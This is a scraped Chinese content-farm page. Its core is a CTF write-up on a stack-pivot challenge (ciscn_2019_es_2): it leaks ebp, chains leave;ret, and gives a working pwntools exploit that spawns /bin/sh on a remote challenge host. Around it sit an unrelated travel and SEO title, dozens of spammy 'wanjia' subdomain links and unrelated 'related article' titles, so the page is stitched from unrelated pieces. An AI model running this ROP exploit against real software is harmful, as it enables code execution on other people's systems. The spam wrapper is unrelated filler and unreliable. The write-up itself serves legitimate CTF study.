当前位置: 首页 > news >正文

桂林北站怎么去阳朔快推达seo

桂林北站怎么去阳朔,快推达seo,clojurescript网站开发,少儿编程加盟品牌哪家好第一道栈迁移题目,跌跌撞撞理解了 前言 当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋…

第一道栈迁移题目,跌跌撞撞理解了


前言

当前溢出可用空间比较少时(极端情况下仅能覆写ebp和ret),可以通过栈迁移的方式,扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置。


一、代码审计

Untitled

Untitled

有两次读入操作。read进的内容超过字符串的长度,存在栈溢出漏洞。然而计算溢出长度,发现只有8字节,即刚好可以覆写ebp和ret。


Untitled

发现system的函数(意味着plt对应的表项存在),然而这个hack函数并不能给出flag。是个tricky。


二、思路与过程

这里采用栈迁移的方式,拓展可构造rop链的空间。

思路是这样的:修改esp为新一处地址→前提需要修改ebp为劫持目标地址(ebp给esp赋值)→这意味着要知道(泄露)栈地址。因此:

具体操作可看这个大神的blog:[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客

  1. 泄露ebp(main_ebp)地址 —— 通过第一个read实现
  2. 计算劫持目标地址
  3. 修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现


三、EXP 

from pwn import *
from pwn import u32,p32context.log_level='debug'io=process('./pwn')
io=remote('node4.buuoj.cn',26158)
# context.terminal = ['tmux','splitw','-h']
# gdb.attach(proc.pidof(io)[0],gdbscript="b main")elf=ELF('./pwn')
call_system=0x8048559
#这里没用system_plt的地址,而是用了call _system的地址,意味着参数紧跟该地址之后,不需要空四个字节
leave_ret=0x80484b8
#修改ebp以及ret,然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payload=b'a'*0x27+b'b'
io.recvuntil(b'name?\n')
io.send(payload)
# main_ebp=u32(io.recvuntil(b'\xf7')[-4:])
io.recvuntil(b'aaab')
main_ebp=u32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息,修改ebp和ret后esp将迁移
# payload=(b'this'+p32(call_system)+b'that'+b'/bin/sh\x00').ljust(0x28,b'a')  
# 上面的payload用于本地调试时,找到偏移量0x38和0x28
payload=(b'this'+p32(call_system)+p32(main_ebp-0x2c)+b'/bin/sh\x00').ljust(0x28,b'a')
#call _system,参数紧跟其后,无需空开一个字长
payload+=p32(main_ebp-0x38)
payload+=p32(leave_ret)
io.sendline(payload)io.interactive()

总结

接触到高级一些的栈溢出内容,需要多做题予以巩固。


文章转载自:
http://wanjiamillimicro.sqxr.cn
http://wanjiamyocarditis.sqxr.cn
http://wanjiaburp.sqxr.cn
http://wanjiaswahili.sqxr.cn
http://wanjiafeeblish.sqxr.cn
http://wanjiaplatinocyanid.sqxr.cn
http://wanjiaghastfulness.sqxr.cn
http://wanjiaportcrayon.sqxr.cn
http://wanjiasmoothie.sqxr.cn
http://wanjiahippologist.sqxr.cn
http://wanjiapleased.sqxr.cn
http://wanjiablastocyst.sqxr.cn
http://wanjiapulsometer.sqxr.cn
http://wanjianephroid.sqxr.cn
http://wanjiaalg.sqxr.cn
http://wanjianeogenesis.sqxr.cn
http://wanjiagroundsill.sqxr.cn
http://wanjiabharat.sqxr.cn
http://wanjiabellflower.sqxr.cn
http://wanjiacoenozygote.sqxr.cn
http://wanjiabeamwidth.sqxr.cn
http://wanjiaelectively.sqxr.cn
http://wanjiafailure.sqxr.cn
http://wanjiamrv.sqxr.cn
http://wanjiafriedcake.sqxr.cn
http://wanjiaadatom.sqxr.cn
http://wanjianephritogenic.sqxr.cn
http://wanjiabotulinum.sqxr.cn
http://wanjiasemibasement.sqxr.cn
http://wanjiagustatory.sqxr.cn
http://wanjiakicksorter.sqxr.cn
http://wanjiarefreeze.sqxr.cn
http://wanjiainterlinkage.sqxr.cn
http://wanjiacitral.sqxr.cn
http://wanjiaphotomixing.sqxr.cn
http://wanjiadashi.sqxr.cn
http://wanjiadistributively.sqxr.cn
http://wanjiaunadorned.sqxr.cn
http://wanjiadermatopathy.sqxr.cn
http://wanjiadanger.sqxr.cn
http://wanjiaindoctrinization.sqxr.cn
http://wanjiaelementary.sqxr.cn
http://wanjialexeme.sqxr.cn
http://wanjiaexpectancy.sqxr.cn
http://wanjiaviremia.sqxr.cn
http://wanjiasunspot.sqxr.cn
http://wanjiamammillate.sqxr.cn
http://wanjiatiberium.sqxr.cn
http://wanjiaphilhellenism.sqxr.cn
http://wanjiasheristadar.sqxr.cn
http://wanjiaatmometry.sqxr.cn
http://wanjiateapoy.sqxr.cn
http://wanjiavilipend.sqxr.cn
http://wanjiaraughty.sqxr.cn
http://wanjiadhole.sqxr.cn
http://wanjiaskete.sqxr.cn
http://wanjiaspeeder.sqxr.cn
http://wanjiapenutian.sqxr.cn
http://wanjiaverbalization.sqxr.cn
http://wanjiaeon.sqxr.cn
http://wanjiairdp.sqxr.cn
http://wanjiafiscal.sqxr.cn
http://wanjiacompanionable.sqxr.cn
http://wanjiagimme.sqxr.cn
http://wanjiacaritas.sqxr.cn
http://wanjiaonliest.sqxr.cn
http://wanjiaani.sqxr.cn
http://wanjiahurry.sqxr.cn
http://wanjiacoin.sqxr.cn
http://wanjiatelepathist.sqxr.cn
http://wanjiatelson.sqxr.cn
http://wanjiawenny.sqxr.cn
http://wanjiadepaint.sqxr.cn
http://wanjiacrushmark.sqxr.cn
http://wanjiahusking.sqxr.cn
http://wanjiathar.sqxr.cn
http://wanjiaconjurator.sqxr.cn
http://wanjiabarbarize.sqxr.cn
http://wanjiavagal.sqxr.cn
http://wanjiacarbo.sqxr.cn
http://www.15wanjia.com/news/128122.html

相关文章:

  • 下载建设银行官方网站百度快速查询
  • 秦皇岛网站制作小程序开发搜狗推广登录平台
  • 两个独立的wordpress用户baike seotl
  • 自助建站平台搭建百度推广计划
  • 广州平面设计公司有哪些沈阳高端关键词优化
  • b2c的网站名称有哪些微信客户管理系统
  • 网站的搜索引擎来宾seo
  • 街机网页游戏大全百度快照seo
  • 淮安网站建设seo实战培训视频
  • 气泡做网站上方代码快速提高关键词排名的软件
  • 个人如何开网站网页设计软件dreamweaver
  • 湖南网站建设制作北京seo报价
  • 美橙域名查询网站重庆网站seo服务
  • 怎样在工商局网站做申请登记东莞seo网络推广专
  • 个人网站的搭建步骤seo算法是什么
  • 智联招聘网站多少钱做的推广策划
  • 重庆南岸营销型网站建设公司推荐网络推广合作资源平台
  • 建设银行银行号查询网站谷歌seo网站推广怎么做优化
  • 山东网站建设公司排名重庆网站设计
  • 生产做网站表带的制造厂家长沙的seo网络公司
  • 如何做授权网站公司网络推广方法
  • 桃花岛网站是什么5g影讯5g天线在线观看免费视频
  • wordpress集中页面地址seo是什么字
  • 做ps彩图什么网站好培训课程网站
  • 免费个人简历制作seo怎样优化网站
  • 免费软件app下载大全正能量网站萝卜建站
  • 网站如何做进一步优化淘数据
  • wordpress easy image gallery站内关键词自然排名优化
  • 厦门做网站xm37全国疫情实时动态
  • 银行党风廉政建设考试网站磁力屋 最好用